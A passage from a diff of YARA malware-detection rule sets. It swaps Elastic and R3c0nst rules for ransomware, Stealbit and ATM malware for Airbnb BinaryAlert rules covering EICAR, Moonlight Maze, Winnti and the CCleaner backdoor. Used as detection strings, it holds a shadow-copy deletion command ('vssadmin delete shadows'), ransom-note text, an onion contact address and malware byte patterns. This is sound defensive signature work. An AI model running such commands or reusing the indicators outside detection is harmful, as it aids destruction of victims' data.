-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "b71d862f6d45b388a106bf694e2bf5b4e4d78649c396e89bda46eab4206339fe"
-		threat_name = "Windows.Ransomware.Sodinokibi"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		description = "This is a standard AV test, intended to verify that BinaryAlert is working correctly."
+		author = "Austin Byers | Airbnb CSIRT"
+		id = "4dbb9d9d-9a8b-56f0-878a-a4a362a2c4f8"
+		date = "2018-04-17"
+		modified = "2018-04-17"
+		reference = "http://www.eicar.org/86-0-Intended-use.html"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/eicar.yara#L1-L18"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "870db233ca083fae19a88a109e13d086c76df2340b709eb2da565c08574a42bd"
+		score = 50
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "expand 32-byte kexpand 16-byte k" ascii fullword
-		$b1 = "ServicesActive" wide fullword
-		$b2 = "CreateThread" ascii fullword
-		$b3 = "GetExitCodeProcess" ascii fullword
-		$b4 = "CloseHandle" ascii fullword
-		$b5 = "SetErrorMode" ascii fullword
-		$b6 = ":!:(:/:6:C:\\:m:" ascii fullword
+		$eicar_regex = /^X5O!P%@AP\[4\\PZX54\(P\^\)7CC\)7\}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H\+H\*\s*$/
 
 	condition:
-		($a1 and 6 of ($b*))
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Sodinokibi_A282Ba44 : BETA FILE MEMORY
+rule BINARYALERT_Eicar_Substring_Test
 {
 	meta:
-		description = "Identifies SODINOKIBI/REvil ransomware"
-		author = "Elastic Security"
-		id = "a282ba44-b8bf-4fcc-a1c4-795675a928de"
-		date = "2020-06-18"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Sodinokibi.yar#L64-L91"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "3a583069c9ab851a90f3a61c9c4fa67f8b918b8d168fcf7f25b2a3ae3465c596"
-		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "07f1feb22f8b9de0ebd5c4649545eb4823a274b49b2c61a44d3eed4739ecd572"
-		threat_name = "Windows.Ransomware.Sodinokibi"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		description = "Standard AV test, checking for an EICAR substring"
+		author = "Austin Byers | Airbnb CSIRT"
+		id = "43af8d40-16be-5948-839e-b58cb36c4155"
+		date = "2018-04-17"
+		modified = "2018-04-17"
+		reference = "https://github.com/airbnb/binaryalert/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/eicar.yara#L20-L34"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "9dc46b273d12d4431b833d4380235b387de4b3aab1f6211b868ada1d1339383a"
+		score = 50
+		quality = 40
+		tags = ""
 
 	strings:
-		$c1 = { 59 59 85 F6 74 25 8B 55 08 83 66 04 00 89 3E 8B 0A 0B 4A 04 }
-		$c2 = { 8D 45 F8 89 75 FC 50 8D 45 FC 89 75 F8 50 56 56 6A 01 6A 30 }
-		$c3 = { 75 0C 72 D3 33 C0 40 5F 5E 5B 8B E5 5D C3 33 C0 EB F5 55 8B EC 83 }
-		$c4 = { 0C 8B 04 B0 83 78 04 05 75 1C FF 70 08 FF 70 0C FF 75 0C FF }
-		$c5 = { FB 8B 45 FC 50 8B 08 FF 51 08 5E 8B C7 5F 5B 8B E5 5D C3 55 }
-		$c6 = { BC 00 00 00 33 D2 8B 4D F4 8B F1 8B 45 F0 0F A4 C1 01 C1 EE 1F }
-		$c7 = { 54 8B CE F7 D1 8B C2 23 4D DC F7 D0 33 4D F4 23 C7 33 45 E8 89 }
-		$c8 = { 0C 89 46 0C 85 C0 75 2A 33 C0 EB 6C 8B 46 08 85 C0 74 62 6B }
+		$eicar_substring = "$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!"
 
 	condition:
-		(6 of ($c*))
+		all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: R3c0nst
- * Repository: https://github.com/fboldewin/YARA-rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: 54e9e6899b258b72074b2b4db6909257683240c2
- * Number of Rules: 26
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule R3C0NST_Ransomware_Germanwiper : FILE
+rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_3
 {
 	meta:
-		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "ea71849e-62a1-5b4d-9cf7-0728192361cc"
-		date = "2019-08-05"
-		modified = "2019-08-05"
-		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Ransomware.Germanwiper.yar#L1-L25"
-		license_url = "N/A"
-		logic_hash = "563ad59abd09d9a5fcfcf5ed48dc1e3c48b4bb198c20721d5af531da20d2b0d3"
+		description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
+		author = "@fusionrace"
+		id = "bdcc0c30-3aa7-5c92-8205-9b360d10ac59"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://securelist.com/introducing-whitebear/81638/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_3.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "b099b82acb860d9a9a571515024b35f0"
+		logic_hash = "955aad2d72407baa7fb71e04b51557649a6f91633f5bdb1a8792e328a1587d23"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
-		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
+		quality = 80
+		tags = ""
 
 	strings:
-		$PurgeCode = {6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8}
-		$Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" nocase ascii
-		$Mutex2 = "cFgxTERNWEVhM2V" nocase ascii
-		$ProcessKill1 = "oracle.exe" nocase ascii
-		$ProcessKill2 = "sqbcoreservice.exe" nocase ascii
-		$ProcessKill3 = "isqlplussvc.exe" nocase ascii
-		$ProcessKill4 = "mysqld.exe" nocase ascii
-		$KillShadowCopies = "vssadmin.exe delete shadows" nocase ascii
-		$Domain1 = "cdnjs.cloudflare.com" nocase ascii
-		$Domain2 = "expandingdelegation.top" nocase ascii
-		$RansomNote = "Entschluesselungs_Anleitung.html" nocase ascii
+		$c1 = "{531511FA-190D-5D85-8A4A-279F2F592CC7}" wide ascii
+		$c2 = "IsLoaderAlreadyWork" wide ascii
+		$c3 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%03x%01x-%01x" wide ascii
+		$c4 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%02x%02x-%01x" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <1000KB and 5 of them
+		all of ($c*)
 }
-rule R3C0NST_Stealbit : FILE
+rule BINARYALERT_Malware_Windows_Winnti_Loadperf_Dll_Loader
 {
 	meta:
-		description = "Detects Stealbit used by Lockbit 2.0 Ransomware Gang"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "07b466cb-92b3-51f2-a702-2930bb7038c6"
-		date = "2021-08-12"
-		modified = "2021-08-12"
-		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Lockbit2.Stealbit.yar"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Lockbit2.Stealbit.yar#L1-L15"
-		license_url = "N/A"
-		logic_hash = "e5f770cc5887f09af0c5550073d51b9e5ffa9dcfa4db6b77bb28643f0f6224fb"
+		description = "Winnti APT group; gzwrite64 imported from loadoerf.ini"
+		author = "@mimeframe"
+		id = "41444dd5-41b9-550c-9124-bc7f41326baa"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_winnti_loadperf_dll_loader.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "879ce99e253e598a3c156258a9e81457"
+		logic_hash = "b1035174edfff2e142026f3482fc53407af59f5215a6030c0d2a85501152c3db"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "3407f26b3d69f1dfce76782fee1256274cf92f744c65aa1ff2d3eaaaf61b0b1d"
-		hash2 = "bd14872dd9fdead89fc074fdc5832caea4ceac02983ec41f814278130b3f943e"
+		quality = 80
+		tags = ""
 
 	strings:
-		$C2Decryption = {33 C9 8B C1 83 E0 0F 8A 80 ?? ?? ?? ?? 30 81 ?? ?? ?? ?? 41 83 F9 7C 72 E9 E8}
+		$s1 = "loadoerf.ini" fullword ascii wide
+		$s2 = "gzwrite64" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and filesize <100KB and $C2Decryption
+		all of ($s*)
 }
-import "hash"
-
-rule R3C0NST_ATM_Malware_NVISOSPIT : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Custom_Sniffer
 {
 	meta:
-		description = "Detects ATM Malware NVISOSPIT"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "faf9e78e-9d7a-5c9b-a08e-90b895333d5c"
-		date = "2019-05-31"
-		modified = "2019-05-31"
-		reference = "https://twitter.com/r3c0nst/status/1134403094157115392"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.NVISOSPIT.yar#L3-L18"
-		license_url = "N/A"
-		hash = "d7ce7b152f0da49e96fa32a9336b35253905d9940b001288d0df55d8f8b3951f"
-		logic_hash = "11c1fea74b72a7821ce76a95846a2caff7354e71906496d9530cb44339a49a98"
+		description = "Rule to detect Moonlight Maze sniffer tools"
+		author = "Kaspersky Lab"
+		id = "a9f005e0-8d73-58ff-b010-d3ce08ffdb64"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_custom_sniffer.yara#L1-L20"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "466be027f567fe0afc88c82d94e4e0171b4b7d8f38d27a4c4a18cec4ca2b8b2f"
 		score = 75
-		quality = 90
-		tags = "FILE"
+		quality = 80
+		tags = ""
+		md5_1 = "7b86f40e861705d59f5206c482e1f2a5"
+		md5_2 = "927426b558888ad680829bd34b0ad0e7"
 
 	strings:
-		$MalwareName = "NVISOSPIT" ascii fullword
-		$DispenseCommand = "Calling WFSExecute() to dispense $%d" fullword ascii
-		$Code = {C6 85 7D F9 FF FF 4D C6 85 7E F9 FF FF 4D C6 85 7F F9 FF FF 4B}
+		$a1 = "/var/tmp/gogo" fullword
+		$a2 = "myfilename= |%s|" fullword
+		$a3 = "mypid,mygid=" fullword
+		$a4 = "mypid=|%d| mygid=|%d|" fullword
+		$a5 = "/var/tmp/task" fullword
+		$a6 = "mydevname= |%s|" fullword
 
 	condition:
-		uint16(0)==0x5A4D and filesize <100KB and 2 of them
+		any of ($a*)
 }
-rule R3C0NST_Prolock_Malware : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki2Crypto
 {
 	meta:
-		description = "Detects Prolock malware in encrypted and decrypted mode"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "1440b5f5-f1e7-522e-8852-84c326858bb9"
-		date = "2020-05-17"
-		modified = "2020-05-20"
-		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Prolock.Malware.yar#L1-L20"
-		license_url = "N/A"
-		logic_hash = "7502011eba1e36c8ec699f1b627c4980cc3009bb43c5aa5a58571330e93211ea"
+		description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
+		author = "Costin Raiu, Kaspersky Lab"
+		id = "eb5fc283-4994-5db5-965d-e90caad95f4c"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki2crypto.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "abb2093844af1b854a9deed5baab3f4d67bd1189a4520f697aa69b7441d9488c"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
-		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
+		quality = 80
+		tags = ""
+		md5_1 = "19fbd8cbfb12482e8020a887d6427315"
+		md5_2 = "ea06b213d5924de65407e8931b1e4326"
+		md5_3 = "14ecd5e6fc8e501037b54ca263896a11"
+		md5_4 = "e079ec947d3d4dacb21e993b760a65dc"
+		md5_5 = "edf900cebb70c6d1fcab0234062bfc28"
 
 	strings:
-		$DecryptionRoutine1 = {31 04 1A 81 3C 1A 90 90 90 90 74}
-		$DecryptionRoutine2 = {83 C3 04 81 3C 1A C4 C4 C4 C4 74}
-		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
-		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
-		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
-		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
+		$modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}
 
 	condition:
-		(( uint16(0)==0x5A4D) or ( uint16(0)==0x4D42)) and filesize <100KB and all of ($DecryptionRoutine*) or (1 of ($DecryptedString*) and $CryptoCode)
+		$modulus
 }
-import "hash"
-
-rule R3C0NST_ATM_Malware_Dispenserxfs : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Encrypted_Keyloger
 {
 	meta:
-		description = "No description has been set in the source file - R3c0nst"
-		author = "Frank Boldewin"
-		id = "52b1aa57-283b-54d7-bd1b-fb5da5f8d269"
-		date = "2019-02-28"
-		modified = "2019-02-28"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispenserXFS.yar#L3-L13"
-		license_url = "N/A"
-		logic_hash = "0e588e2ba03d5eb750183600cce278e791a71f86fbf933ba9d7fda352bd37e2f"
+		description = "Rule to detect Moonlight Maze encrypted keylogger logs"
+		author = "Kaspersky Lab"
+		id = "4f290d77-5cb5-5f07-98fd-1829e2f00e63"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_encrypted_keyloger.yara#L1-L11"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "cdcbe112ae394ce0922647904f70cfae626d413d1770b0e20d2ba49e1f4e2d2d"
 		score = 75
-		quality = 59
-		tags = "FILE"
+		quality = 80
+		tags = ""
 
 	strings:
-		$Code_Bytes = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 }
-		$XFSKILL = "injected mxsfs killer into" nocase ascii wide
-		$PDB = "C:\\_bkittest\\dispenser\\Release_noToken\\dispenserXFS.pdb" nocase ascii wide
+		$a1 = {47 01 22 2A 6D 3E 39 2C}
 
 	condition:
-		(hash.sha256(0, filesize )=="867991ade335186baa19a227e3a044c8321a6cef96c23c98eef21fe6b87edf6a") or ( uint16(0)==0x5A4D and 1 of them )
+		($a1 at 0)
 }
-rule R3C0NST_UNC2891_Slapstick : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Xk_Keylogger
 {
 	meta:
-		description = "Detects UNC2891 Slapstick pam backdoor"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "a731acff-f657-5877-859e-7447230576df"
-		date = "2022-03-30"
-		modified = "2023-01-05"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Slapstick.yar#L1-L19"
-		license_url = "N/A"
-		logic_hash = "7777c3b850f5b7ee326be5461ebc3bf37fb201b67ada78b50575fb31f50adf9a"
+		description = "Rule to detect Moonlight Maze 'xk' keylogger"
+		author = "Kaspersky Lab"
+		id = "5623021d-0d70-59b3-ae30-522e81552da0"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_xk_keylogger.yara#L1-L22"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "430027b41aeda9a11dadec2e4d3dd2474852ff3a7656ed7128711a1574e66b8f"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
+		quality = 30
+		tags = ""
 
 	strings:
-		$code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5}
-		$code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85}
-		$str1 = "/proc/self/exe" fullword ascii
-		$str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
-		$str3 = "pam_sm_authenticate" ascii
-		$str4 = "ACCESS GRANTED & WELCOME" xor
+		$a1 = "Log ended at => %s"
+		$a2 = "Log started at => %s [pid %d]"
+		$a3 = "/var/tmp/task" fullword
+		$a4 = "/var/tmp/taskhost" fullword
+		$a5 = "my hostname: %s"
+		$a6 = "/var/tmp/tasklog"
+		$a7 = "/var/tmp/.Xtmp01" fullword
+		$a8 = "myfilename=-%s-"
+		$a9 = "/var/tmp/taskpid"
+		$a10 = "mypid=-%d-" fullword
+		$a11 = "/var/tmp/taskgid" fullword
+		$a12 = "mygid=-%d-" fullword
 
 	condition:
-		uint32(0)==0x464c457f and filesize <100KB and ( all of ($code*) or all of ($str*))
+		3 of ($a*)
 }
-import "pe"
-
-rule R3C0NST_ATM_Malware_ATMITCH : FILE
+rule BINARYALERT_Ccleaner_Backdoor
 {
 	meta:
-		description = "Detects ATM Malware ATMItch"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "4d7e9615-9db6-5fc7-b95e-b8c7b2c034a8"
-		date = "2019-03-18"
-		modified = "2019-03-18"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ATMItch.yar#L3-L14"
-		license_url = "N/A"
-		logic_hash = "4278cbcd8c465ba57b65a166e0bd48dcc73eae8660972478d3116bc0d73cf3c4"
+		description = "Ccleaner 5.33 backdoor with a possible APT17/Group72 connection."
+		author = "@fusionrace"
+		id = "769e4fcb-9638-5a5b-8b73-a1cda3bc286a"
+		date = "2017-12-14"
+		modified = "2017-12-14"
+		reference = "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_ccleaner_backdoor.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "ce3fc54d58e337ab17e6f1ba7745c593210483c02ed3969059a8fe6682d87218"
 		score = 75
-		quality = 82
-		tags = "FILE"
+		quality = 80
+		tags = ""
+		md5_1 = "d488e4b61c233293bec2ee09553d3a2f"
+		md5_2 = "b95911a69e49544f9ecc427478eb952f"
+		md5_3 = "063b58879c8197b06d619c3be90506ec"
+		md5_4 = "7690e414e130acf7c962774c05283142"
 
 	strings:
-		$STRING1 = "SCREEN and think what does you DO" nocase ascii wide
-		$STRING2 = "Receive CASH UNIT info first, then LOOK on" nocase ascii wide
-		$STRING3 = "Unknown command mnemonic, check it and repeat again" nocase ascii wide
-		$STRING4 = "Catch some money, bitch!" nocase ascii wide
+		$s1 = "s:\\workspace\\ccleaner\\branches\\v5.33" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and 1 of them ) or (pe.imphash()=="655ad5439db0832c5a3f86d0a68ddaac")
+		$s1
 }
-rule R3C0NST_Gamaredon_Getimportbyhash : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Cle_Tool
 {
 	meta:
-		description = "Detects Gamaredon APIHashing"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "8f28273e-e8ca-52cb-8dbc-a235598b1975"
-		date = "2021-05-12"
-		modified = "2021-05-12"
-		reference = "https://github.com/fboldewin/YARA-rules/"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/APT.Gamaredon.GetImportByHash.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "b3baebfb745ebc7b9e6df746bfa9622f925b8e8130932e44a148881e7d1fc162"
+		description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
+		author = "Kaspersky Lab"
+		id = "d875a3cf-cad1-509f-bb9f-27f0a3a9b79d"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_cle_tool.yara#L1-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "647d7b711f7b4434145ea30d0ef207b0"
+		logic_hash = "8f75df1240b9e5e905492106265a7e1342db4140d715529933af4ba5c8ec6331"
 		score = 75
-		quality = 90
-		tags = "FILE"
-		hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79"
-		hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8"
-		hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6"
+		quality = 80
+		tags = ""
 
 	strings:
-		$ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
-		$djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 }
+		$a1 = "./a filename template_file" ascii wide
+		$a2 = "May be %s is empty?" ascii wide
+		$a3 = "template string = |%s|" ascii wide
+		$a4 = "No blocks !!!"
+		$a5 = "No data in this block !!!!!!" ascii wide
+		$a6 = "No good line"
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		3 of ($a*)
 }
 import "pe"
 
-rule R3C0NST_ATM_Malware_Ploutusi : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_Wipe : FILE
 {
 	meta:
-		description = "Detects Ploutus I .NET samples based on MetabaseQ report"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "02104112-6f81-5d19-935d-45cfcd2fa41c"
-		date = "2021-03-03"
-		modified = "2021-03-04"
-		reference = "https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ploutus-I.yar#L3-L26"
-		license_url = "N/A"
-		logic_hash = "77100d300a40219187f5c4b8270f599a91652b69980fe450b791181b8c30b5a4"
+		description = "Rule to detect log cleaner based on wipe.c"
+		author = "Kaspersky Lab"
+		id = "35060c3d-b805-54a6-a241-eb6e99168fa8"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "http://www.afn.org/~afn28925/wipe.c"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_wipe.yara#L3-L18"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "e69efc504934551c6a77b525d5343241"
+		logic_hash = "0241d1ca9f5a4d066f7ed2e80bc18ebae3723c6a2364422e31909e8f0e576675"
 		score = 75
-		quality = 90
+		quality = 80
 		tags = "FILE"
-		hash1 = "4f6d4c6f97caf888a98a3097b663055b63e605f15ea8f7cc7347283a0b8424c1"
-		hash2 = "8ca29597152dc79bcf79394e1ae2635b393d844bb0eeef6709d37e6778457b31"
-		hash3 = "dce1f01c08937fb5c98964a0911de403eed2101a9d46c5eb9899755c40c3765a"
-		hash4 = "3a1d992277a862640a0835af9dff4b029cfc6c5451e9716f106efaf07702a98c"
 
 	strings:
-		$Code = {28 ?? 02 00 06 2a}
+		$a1 = "ERROR: Unlinking tmp WTMP file."
+		$a2 = "USAGE: wipe [ u|w|l|a ] ...options..."
+		$a3 = "Erase acct entries on tty :   wipe a [username] [tty]"
+		$a4 = "Alter lastlog entry       :   wipe l [username] [tty] [time] [host]"
 
 	condition:
-		filesize <300KB and $Code and pe.pdb_path contains "Diebold.pdb" and pe.imports("mscoree.dll","_CorExeMain") and ( for any i in (0..pe.number_of_resources-1) : (pe.resources[i].type==pe.RESOURCE_TYPE_VERSION and (pe.version_info["InternalName"] contains "Diebold.exe")))
+		( uint32(0)==0x464c457f) and (2 of them )
 }
-rule R3C0NST_ATM_Malware_XFSADM : FILE
-{
-	meta:
-		description = "Detects ATM Malware XFSADM"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "57124fef-73a1-5978-b165-b1b7d7c1196e"
-		date = "2019-06-21"
-		modified = "2019-07-11"
-		reference = "https://twitter.com/r3c0nst/status/1149043362244308992"
-		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSADM.yar#L1-L24"
-		license_url = "N/A"
-		logic_hash = "2dd0b9e0a2dd18725c9342a234520c96c6b30cf3ce7196562b2380a39f5f8673"
-		score = 75
-		quality = 84
-		tags = "FILE"
-		hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d"
-
-	strings:
-		$Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15}
-		$Code2 = {68 98 01 00 00 50 FF 15}
-		$Mutex = "myXFSADM" nocase wide
-		$MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" nocase ascii
-		$XFSCommand1 = "WfsExecute" nocase ascii
-		$XFSCommand2 = "WfsGetInfo" nocase ascii
-		$PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" nocase ascii
-		$WindowName = "XFS ADM" nocase wide
-		$FindWindow = "ADM rec" nocase wide
-		$LogFile = "xfs.log" nocase ascii
-		$TmpFile = "~pipe.tmp" nocase ascii
+import "pe"
 
-	condition:
-		uint16(0)==0x5A4D and filesize <500KB and 4 of them
-}
-rule R3C0NST_ATM_Malware_XFS_ALICE : FILE
+rule BINARYALERT_Malware_Windows_Moonlightmaze_U_Logcleaner : FILE
 {
 	meta:
-		description = "Detects ATM Malware ALICE"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "6132730c-4684-517a-b90d-98ed250e2cba"
-		date = "2020-01-09"
-		modified = "2020-08-17"
-		reference = "https://twitter.com/r3c0nst/status/1215265889844637696"
